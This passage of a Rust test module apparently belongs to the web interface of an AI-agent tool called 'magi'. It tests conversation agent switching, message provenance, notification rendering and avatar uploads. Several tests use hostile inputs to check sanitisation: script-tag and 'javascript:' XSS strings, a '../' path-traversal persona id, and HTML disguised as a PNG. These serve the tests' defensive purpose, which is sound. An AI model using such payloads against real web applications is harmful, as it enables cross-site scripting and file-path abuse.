15257    }
15258
15259    #[tokio::test]
15260    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
15261        let tmp = TempDir::new().expect("tempdir");
15262        let repo = tmp.path().join("repo");
15263        std::fs::create_dir_all(&repo).expect("repo dir");
15264        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
15265        std::fs::write(
15266            repo.join("magi.toml"),
15267            format!("{MOCK_AGENT_TOML}\n{second}"),
15268        )
15269        .expect("write magi.toml");
15270        let home = TempDir::new().expect("temp home");
15271        let talks = Talks::at(home.path().join("talks"));
15272        let ui = Arc::new(
15273            Ui::new(
15274                Queue::at(home.path().join("queue")),
15275                Questions::at(home.path().join("questions")),
15276                talks.clone(),
15277                home.path().join("runs"),
15278                home.path().to_path_buf(),
15279                repo.clone(),
15280            )
15281            .with_worktrees_root(home.path().join("wt")),
15282        );
15283        let cfg = config_for(&repo).await.expect("discover config");
15284        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15285        let id = talk.id.clone();
15286        let call = |agent: &str| {
15287            talk_agent(
15288                State(Arc::clone(&ui)),
15289                Path(id.clone()),
15290                Json(TalkAgent {
15291                    agent: agent.to_owned(),
15292                }),
15293            )
15294        };
15295
15296        let unknown = call("nobody").await.expect_err("unknown agent");
15297        assert_eq!(
15298            unknown.status,
15299            StatusCode::BAD_REQUEST,
15300            "{}",
15301            unknown.message
15302        );
15303
15304        {
15305            // Nothing refused so far took a claim, so the guard is free to take
15306            // and holding it is what makes the talk busy.
15307            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15308            let busy = call("second").await.expect_err("busy talk");
15309            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15310            assert!(
15311                busy.message.contains("a talk turn is running"),
15312                "{}",
15313                busy.message
15314            );
15315            drop(guard);
15316        }
15317        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
15318
15319        let Json(view) = call("second").await.expect("switch");
15320        assert_eq!(view.talk.agent, "second");
15321        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
15322        let saved = talks.get(&id).expect("reload");
15323        assert_eq!(saved.agent, "second");
15324        assert_eq!(saved.turns.len(), 1);
15325        assert!(!view.thinking);
15326        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15327        for agent in ["mock", "second"] {
15328            let Json(view) = call(agent).await.expect("immediate consecutive change");
15329            assert_eq!(view.talk.agent, agent);
15330            assert!(!view.thinking);
15331            assert!(!ui.is_thinking(&id));
15332        }
15333
15334        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15335            .await
15336            .expect("detail");
15337        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
15338        assert_eq!(roster, ["mock", "second"]);
15339
15340        let mut closed = talks.get(&id).expect("reload");
15341        talk::close(&mut closed, &talks).expect("close");
15342        let refused = call("mock").await.expect_err("closed talk");
15343        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15344        assert!(
15345            refused.message.contains("takes no more turns"),
15346            "{}",
15347            refused.message
15348        );
15349    }
15350
15351    #[tokio::test]
15352    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
15353        let tmp = TempDir::new().expect("tempdir");
15354        let repo = tmp.path().join("repo");
15355        std::fs::create_dir_all(&repo).expect("repo dir");
15356        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15357        let home = TempDir::new().expect("temp home");
15358        let talks = Talks::at(home.path().join("talks"));
15359        let ui = Arc::new(
15360            Ui::new(
15361                Queue::at(home.path().join("queue")),
15362                Questions::at(home.path().join("questions")),
15363                talks.clone(),
15364                home.path().join("runs"),
15365                home.path().to_path_buf(),
15366                repo.clone(),
15367            )
15368            .with_worktrees_root(home.path().join("wt")),
15369        );
15370        let cfg = config_for(&repo).await.expect("discover config");
15371        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15372        let id = talk.id.clone();
15373        let call = |n: u8| {
15374            talk_implementers(
15375                State(Arc::clone(&ui)),
15376                Path(id.clone()),
15377                Json(TalkImplementers { implementers: n }),
15378            )
15379        };
15380
15381        for bad in [0u8, 4] {
15382            let e = call(bad).await.expect_err("out of range");
15383            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
15384        }
15385        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
15386
15387        {
15388            // Nothing refused so far took a claim, so the guard is free to take
15389            // and holding it is what makes the talk busy.
15390            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15391            let busy = call(2).await.expect_err("busy talk");
15392            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15393            assert!(
15394                busy.message.contains("a talk turn is running"),
15395                "{}",
15396                busy.message
15397            );
15398            drop(guard);
15399        }
15400
15401        let Json(view) = call(3).await.expect("switch");
15402        assert_eq!(view.talk.implementers, 3);
15403        assert!(talks.get(&id).expect("reload").implementers_dirty);
15404        assert!(!view.thinking);
15405        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15406        for n in [1, 2, 3] {
15407            let Json(view) = call(n).await.expect("immediate consecutive change");
15408            assert_eq!(view.talk.implementers, n);
15409            assert!(!view.thinking);
15410            assert!(!ui.is_thinking(&id));
15411        }
15412
15413        let mut closed = talks.get(&id).expect("reload");
15414        talk::close(&mut closed, &talks).expect("close");
15415        let e = call(2).await.expect_err("closed talk");
15416        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
15417        assert!(e.message.contains("takes no more turns"), "{}", e.message);
15418    }
15419
15420    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
15421    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
15422        let tmp = TempDir::new().expect("tempdir");
15423        let repo = tmp.path().join("repo");
15424        std::fs::create_dir_all(&repo).expect("repo dir");
15425        std::fs::write(
15426            repo.join("magi.toml"),
15427            format!("{MOCK_AGENT_TOML}\n{extra}"),
15428        )
15429        .expect("write magi.toml");
15430        let home = TempDir::new().expect("temp home");
15431        let talks = Talks::at(home.path().join("talks"));
15432        let ui = Arc::new(
15433            Ui::new(
15434                Queue::at(home.path().join("queue")),
15435                Questions::at(home.path().join("questions")),
15436                talks.clone(),
15437                home.path().join("runs"),
15438                home.path().to_path_buf(),
15439                repo.clone(),
15440            )
15441            .with_worktrees_root(home.path().join("wt")),
15442        );
15443        let cfg = config_for(&repo).await.expect("discover config");
15444        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15445        (tmp, home, ui, talk.id, repo)
15446    }
15447
15448    #[tokio::test]
15449    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
15450        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15451        let mut conversation = ui.talks.get(&id).unwrap();
15452        talk::record(
15453            &mut conversation,
15454            &ui.talks,
15455            "# Update on a task you filed\noperator words",
15456            vec![],
15457        )
15458        .unwrap();
15459        // Simulate an old operator record; headings do not prove authorship.
15460        conversation.turns[0].sender = None;
15461        conversation.turns[0].messages.clear();
15462        ui.talks.put(&mut conversation).unwrap();
15463        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
15464        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
15465        talk::drain(&mut conversation, &ui.talks).unwrap();
15466        talk::record_reply(
15467            &mut conversation,
15468            &ui.talks,
15469            "about that report",
15470            vec![],
15471            Some(talk::ReplyTarget {
15472                turn: 1,
15473                message: 1,
15474            }),
15475        )
15476        .unwrap();
15477        conversation.turns[2].messages[0]
15478            .reply
15479            .as_mut()
15480            .unwrap()
15481            .sender = None;
15482        conversation.turns.push(talk::Turn {
15483            sender: Some(talk::Sender::Persona),
15484            who: talk::Who::Agent,
15485            body: "magi: actual persona words".into(),
15486            at: Timestamp::now(),
15487            attachments: vec![],
15488            usage: None,
15489            breaks: None,
15490            messages: vec![],
15491            posted_by: None,
15492        });
15493        ui.talks.put(&mut conversation).unwrap();
15494        let view = TalkView::with_config(
15495            ui.talks.get(&id).unwrap(),
15496            false,
15497            None,
15498            &ui.home,
15499            &ui.references,
15500        );
15501        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
15502        assert_eq!(
15503            view.talk.turns[1].messages[0].sender,
15504            Some(talk::Sender::Operator)
15505        );
15506        assert_eq!(
15507            view.talk.turns[1].messages[1].sender,
15508            Some(talk::Sender::Magi)
15509        );
15510        assert_eq!(
15511            view.talk.turns[2].messages[0]
15512                .reply
15513                .as_ref()
15514                .unwrap()
15515                .sender,
15516            Some(talk::Sender::Magi)
15517        );
15518        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
15519        assert_eq!(view.turn_messages_md[0].len(), 1);
15520        assert!(view.turn_messages_md[0][0].is_none());
15521        assert!(view.turn_messages_md[1][0].is_none());
15522        assert!(view.turn_messages_md[1][1].is_some());
15523    }
15524
15525    #[tokio::test]
15526    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
15527        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15528        let mut conversation = ui.talks.get(&id).unwrap();
15529        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
15530        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15531        let queue = |conversation: &mut talk::Talk| {
15532            talk::queue_semantic_notice(
15533                conversation,
15534                &ui.talks,
15535                &body,
15536                "watch:123",
15537                &|_| false,
15538                (
15539                    None,
15540                    None,
15541                    Some(crate::chat_control::standing::Event::Watch {
15542                        id: "watch-123".into(),
15543                    }),
15544                ),
15545                display.clone(),
15546            )
15547            .unwrap()
15548        };
15549        queue(&mut conversation);
15550        assert!(!queue(&mut conversation));
15551        let saved = ui.talks.get(&id).unwrap();
15552        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15553        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15554        assert!(
15555            view.talk.turns[0].messages[0].display.is_none(),
15556            "operator copy stays literal"
15557        );
15558        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15559        assert!(view.turn_messages_md[0][0].is_none());
15560        let queued_md = view.pending_messages_md[0].clone();
15561        assert_eq!(
15562            queued_md,
15563            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15564        );
15565        talk::drain(&mut conversation, &ui.talks).unwrap();
15566        talk::record_reply(
15567            &mut conversation,
15568            &ui.talks,
15569            "Explain",
15570            vec![],
15571            Some(talk::ReplyTarget {
15572                turn: 1,
15573                message: 0,
15574            }),
15575        )
15576        .unwrap();
15577        let mut saved = ui.talks.get(&id).unwrap();
15578        assert_eq!(saved.turns[1].messages[0].body, body);
15579        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15580        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15581        assert!(!reply.excerpt.contains("automatic report"));
15582        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15583        saved.turns[1].messages[0].display = None; // old MAGI send
15584        ui.talks.put(&mut saved).unwrap();
15585        let view = TalkView::with_config(
15586            ui.talks.get(&id).unwrap(),
15587            false,
15588            None,
15589            &ui.home,
15590            &ui.references,
15591        );
15592        assert_eq!(view.turn_messages_md[1][0], queued_md);
15593        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15594        assert!(
15595            !view.talk.turns[2].messages[0]
15596                .reply
15597                .as_ref()
15598                .unwrap()
15599                .excerpt
15600                .contains("automatic report")
15601        );
15602        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15603    }
15604
15605    #[tokio::test]
15606    async fn consultation_display_hides_directives_in_queue_and_history() {
15607        for node in [
15608            "implement",
15609            crate::land::APPROVAL_NODE,
15610            crate::github_text::ASK_NODE,
15611        ] {
15612            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15613            let mut question = Question::new(
15614                "run-123".into(),
15615                node.into(),
15616                "seat-1".into(),
15617                "Which backend?".into(),
15618                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15619                vec!["SQLite".into(), "Redis".into()],
15620            );
15621            ui.questions.put(&mut question).unwrap();
15622            let body = crate::prompt::chat_consult(&question);
15623            let mut conversation = ui.talks.get(&id).unwrap();
15624            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15625            assert!(
15626                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15627            );
15628            conversation = ui.talks.get(&id).unwrap();
15629            assert_eq!(conversation.pending_messages[0].body, body);
15630            assert!(body.contains("magi answer"));
15631            let mut legacy_pending = conversation.clone();
15632            legacy_pending.pending_messages[0].display = None;
15633            let legacy_view =
15634                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15635            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15636            assert!(legacy_md.contains("Question consultation"));
15637            assert!(!legacy_md.contains("magi answer"));
15638            let view =
15639                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15640            assert!(
15641                view.turn_messages_md[0][0].is_none(),
15642                "operator copy stays literal"
15643            );
15644            let queued_md = view.pending_messages_md[0].clone().unwrap();
15645            let rendered = serde_json::to_string(&queued_md).unwrap();
15646            for visible in [
15647                "Which backend?",
15648                "Context",
15649                "storage",
15650                "SQLite",
15651                "Redis",
15652                "<script>literal</script>",
15653            ] {
15654                assert!(rendered.contains(visible), "missing {visible}");
15655            }
15656            for directive in [
15657                "What to do",
15658                "magi answer",
15659                "Never answer it yourself",
15660                "Do not edit the repository",
15661            ] {
15662                assert!(!rendered.contains(directive), "exposed {directive}");
15663            }
15664            assert_eq!(
15665                view.talk.pending_messages[0].display,
15666                Some(crate::prompt::chat_consult_display(&question))
15667            );
15668            talk::drain(&mut conversation, &ui.talks).unwrap();
15669            let view =
15670                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15671            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15672            assert_eq!(conversation.turns[1].messages[0].body, body);
15673
15674            // Historical consultations lack a snapshot: show a safe placeholder
15675            // rather than parsing instructions or reconstructing mutable facts.
15676            conversation.turns[1].messages[0].display = None;
15677            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15678            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15679            assert!(legacy.contains("Question consultation"));
15680            assert!(!legacy.contains("magi answer"));
15681            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15682        }
15683    }
15684
15685    #[test]
15686    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15687        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15688        let (body, mut display) =
15689            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15690        display.facts = facts.into();
15691        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15692        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15693        let json = serde_json::to_string(&nodes).unwrap();
15694        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15695            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15696        }
15697        assert!(json.contains("<script>alert(1)</script>"));
15698        assert!(!json.contains("javascript:"));
15699        assert!(!json.contains("Tell the operator"));
15700        assert!(!json.contains("untrusted"));
15701        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15702        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15703        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15704        assert_eq!(
15705            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15706            md::to_nodes("# Status", &md::ImageBase::None),
15707        );
15708    }
15709
15710    #[tokio::test]
15711    async fn notification_display_recovers_exact_legacy_completion_references() {
15712        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15713        let mut conversation = ui.talks.get(&id).unwrap();
15714        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15715            id: "task-123",
15716            title: "Change",
15717            status: "done",
15718            reason: None,
15719            run: Some("run-123"),
15720            pr: None,
15721            summary: Some("Merge state unknown"),
15722            verification: None,
15723            completion: None,
15724        });
15725        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15726        conversation.turns[0].sender = None;
15727        conversation.turns[0].messages.clear();
15728        conversation.turns[0].breaks = None;
15729        conversation.pending = body.clone();
15730        conversation
15731            .completion_notices
15732            .push(crate::chat_notify::CompletionReference {
15733                task: "task-123".into(),
15734                run: Some("run-123".into()),
15735                notice: body.clone(),
15736            });
15737        ui.talks.put(&mut conversation).unwrap();
15738        let view = TalkView::with_config(
15739            ui.talks.get(&id).unwrap(),
15740            false,
15741            None,
15742            &ui.home,
15743            &ui.references,
15744        );
15745        assert_eq!(
15746            view.talk.turns[0].messages[0].display,
15747            Some(display.clone())
15748        );
15749        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15750        assert_eq!(
15751            view.talk.turns[0].messages[0].sender,
15752            Some(talk::Sender::Magi)
15753        );
15754        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15755        conversation.completion_notices[0]
15756            .notice
15757            .push_str("different");
15758        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15759        assert!(view.talk.turns[0].messages.is_empty());
15760        assert!(view.talk.pending_messages.is_empty());
15761    }
15762
15763    #[tokio::test]
15764    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15765        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15766        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15767            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15768        ))
15769        .await;
15770        let path = avatar_setting_path(home.path(), Some("rei"));
15771        let orphan = avatar_setting_path(home.path(), Some("removed"));
15772        save_icon_file(&orphan, icon).unwrap();
15773        for (saved, expected) in [
15774            (icon, "custom"),
15775            ("builtin", "builtin"),
15776            ("data:image/png;base64,!!!!", "inherit"),
15777            ("data:image/png;base64,PGh0bWw+", "inherit"),
15778            ("/tmp/avatar.png", "inherit"),
15779        ] {
15780            atomic_icon_write(&path, saved).unwrap();
15781            let catalog =
15782                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15783                    .await
15784                    .unwrap()
15785                    .0;
15786            let personas = catalog["personas"].as_array().unwrap();
15787            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15788            assert_eq!(rei["override_state"], expected);
15789            assert_eq!(rei["has_config_icon"], true);
15790            assert_eq!(rei["is_orphan"], false);
15791            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15792            assert_eq!(removed["override_state"], "custom");
15793            assert_eq!(removed["is_orphan"], true);
15794            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15795            assert_eq!(default["override_state"], "inherit");
15796            assert_eq!(default["has_config_icon"], false);
15797            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15798            assert_eq!(
15799                effective.as_deref(),
15800                Some(if expected == "builtin" { "" } else { icon })
15801            );
15802        }
15803    }
15804
15805    #[tokio::test]
15806    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15807        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15808        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15809            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15810        ))
15811        .await;
15812        let target = |id: Option<&str>| AvatarSettingsQuery {
15813            persona: id.map(str::to_owned),
15814            ..Default::default()
15815        };
15816        let original_config = config_for(&repo).await.unwrap();
15817        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15818        let original_prompt = persona::section_for(&original_persona, None);
15819        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15820            .await
15821            .unwrap()
15822            .0;
15823        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15824            let _ = avatar_settings_put(
15825                State(ui.clone()),
15826                Query(target(persona)),
15827                Json(MagiIconUpload { icon: icon.into() }),
15828            )
15829            .await
15830            .unwrap();
15831            let path = avatar_setting_path(home.path(), persona);
15832            assert!(path.starts_with(home.path().join("avatars")));
15833            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15834            for bad in [
15835                "/tmp/image.png".to_owned(),
15836                "data:image/png;base64,!!!!".to_owned(),
15837                "data:image/png;base64,PGh0bWw+".to_owned(),
15838                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15839                format!(
15840                    "data:image/png;base64,{}",
15841                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15842                ),
15843            ] {
15844                assert!(
15845                    avatar_settings_put(
15846                        State(ui.clone()),
15847                        Query(target(persona)),
15848                        Json(MagiIconUpload { icon: bad })
15849                    )
15850                    .await
15851                    .is_err()
15852                );
15853                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15854            }
15855        }
15856        assert!(read_magi_icon(home.path()).is_none());
15857        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15858        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15859            .await
15860            .unwrap()
15861            .0;
15862        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15863        assert_ne!(
15864            before
15865                .personas
15866                .iter()
15867                .find(|p| p.id == "magi")
15868                .unwrap()
15869                .avatar,
15870            after
15871                .personas
15872                .iter()
15873                .find(|p| p.id == "magi")
15874                .unwrap()
15875                .avatar
15876        );
15877        let restarted = Arc::new(Ui::new(
15878            Queue::at(home.path().join("queue")),
15879            Questions::at(home.path().join("questions")),
15880            Talks::at(home.path().join("talks")),
15881            home.path().join("runs"),
15882            home.path().to_owned(),
15883            repo,
15884        ));
15885        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15886            .await
15887            .unwrap()
15888            .0;
15889        assert!(
15890            catalog["personas"]
15891                .as_array()
15892                .unwrap()
15893                .iter()
15894                .any(|p| p["id"] == "../custom/日本語")
15895        );
15896        for expected in ["custom", "default", "rei"] {
15897            assert!(
15898                catalog["personas"]
15899                    .as_array()
15900                    .unwrap()
15901                    .iter()
15902                    .any(|p| p["id"] == expected)
15903            );
15904        }
15905        let response =
15906            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15907        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15908        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15909            .await
15910            .unwrap();
15911        assert_eq!(
15912            effective_persona_icon(home.path(), "rei", Some(icon)),
15913            Some(String::new())
15914        );
15915        let response = talk_avatar(
15916            State(restarted.clone()),
15917            Path(id.clone()),
15918            Query(AvatarQuery {
15919                persona: Some("rei".into()),
15920                ..Default::default()
15921            }),
15922        )
15923        .await
15924        .unwrap();
15925        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15926        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15927            .await
15928            .unwrap()
15929            .0;
15930        assert_ne!(
15931            after
15932                .personas
15933                .iter()
15934                .find(|p| p.id == "rei")
15935                .unwrap()
15936                .avatar,
15937            reset
15938                .personas
15939                .iter()
15940                .find(|p| p.id == "rei")
15941                .unwrap()
15942                .avatar
15943        );
15944        let mut inherit = target(Some("rei"));
15945        inherit.inherit = Some("1".into());
15946        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15947            .await
15948            .unwrap();
15949        assert_eq!(
15950            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15951            Some(icon)
15952        );
15953        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15954            .await
15955            .unwrap();
15956        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15957        assert_eq!(
15958            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15959            Some(icon)
15960        );
15961        // Display changes never rewrite the conversation or its prompt-bearing config.
15962        let cfg = config_for(&ui.repo).await.unwrap();
15963        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15964        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15965        assert!(!original_prompt.contains("data:image"));
15966        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15967        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15968        assert!(!stored.contains("data:image"));
15969        let mut orphan = ui.talks.get(&id).unwrap();
15970        orphan.persona = "../custom/日本語".into();
15971        let view = TalkView::with_config(
15972            orphan,
15973            false,
15974            Some(&cfg),
15975            home.path(),
15976            &id_links::IndexCache::default(),
15977        );
15978        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15979    }
15980
15981    #[tokio::test]
15982    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15983        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15984        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15985        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15986        let _ = magi_icon_put(
15987            State(ui.clone()),
15988            Json(MagiIconUpload { icon: icon.into() }),
15989        )
15990        .await
15991        .unwrap();
15992        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15993        assert_ne!(original, changed);
15994        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15995        let response = magi_avatar(
15996            State(ui.clone()),
15997            Query(AvatarQuery {
15998                persona: None,
15999                builtin: None,
16000            }),
16001        )
16002        .await;
16003        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
16004        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
16005        assert_eq!(
16006            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
16007            "nosniff"
16008        );
16009        for bad in [
16010            "data:image/png;base64,PGh0bWw+".to_owned(),
16011            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
16012            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
16013        ] {
16014            assert!(save_magi_icon(home.path(), &bad).is_err());
16015            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
16016        }
16017        // Re-opened server state reads the same independent home file.
16018        let restarted = Arc::new(Ui::new(
16019            Queue::at(home.path().join("queue")),
16020            Questions::at(home.path().join("questions")),
16021            Talks::at(home.path().join("talks")),
16022            home.path().join("runs"),
16023            home.path().to_path_buf(),
16024            repo,
16025        ));
16026        assert_eq!(
16027            magi_icon_get(State(restarted.clone())).await.0["avatar"],
16028            changed
16029        );
16030        let view = TalkView::with_config(
16031            restarted.talks.get(&id).unwrap(),
16032            false,
16033            None,
16034            &restarted.home,
16035            &restarted.references,
16036        );
16037        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
16038        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
16039        let response = magi_avatar(
16040            State(ui.clone()),
16041            Query(AvatarQuery {
16042                persona: None,
16043                builtin: None,
16044            }),
16045        )
16046        .await;
16047        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
16048            .await
16049            .unwrap();
16050        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
16051        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
16052        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
16053        let _ = magi_icon_delete(State(ui)).await.unwrap();
16054    }
16055
16056    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
16057    async fn avatar(
16058        ui: &Arc<Ui>,
16059        id: &str,
16060        persona: Option<&str>,
16061        builtin: bool,
16062    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
16063        let res = talk_avatar(
16064            State(Arc::clone(ui)),
16065            Path(id.to_owned()),
16066            Query(AvatarQuery {
16067                persona: persona.map(str::to_owned),
16068                builtin: builtin.then(|| "1".to_owned()),
16069            }),
16070        )
16071        .await
16072        .expect("an avatar is never an error response");
16073        let h = res.headers();
16074        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
16075        let nosniff = h
16076            .get(header::X_CONTENT_TYPE_OPTIONS)
16077            .is_some_and(|v| v == "nosniff");
16078        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
16079        let status = res.status();
16080        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16081            .await
16082            .expect("body")
16083            .to_vec();
16084        (status, ct, nosniff, csp, body)
16085    }
16086
16087    fn tiny_png() -> Vec<u8> {
16088        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
16089        b.extend_from_slice(&[0u8; 32]);
16090        b
16091    }
16092
16093    #[tokio::test]
16094    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
16095        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
16096        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
16097        assert_eq!(res.status(), StatusCode::OK);
16098        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
16099        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
16100        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
16101        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
16102        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16103            .await
16104            .unwrap();
16105        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
16106        assert_ne!(
16107            persona_icon::operator_svg(),
16108            persona_icon::builtin_svg("default")
16109        );
16110    }
16111
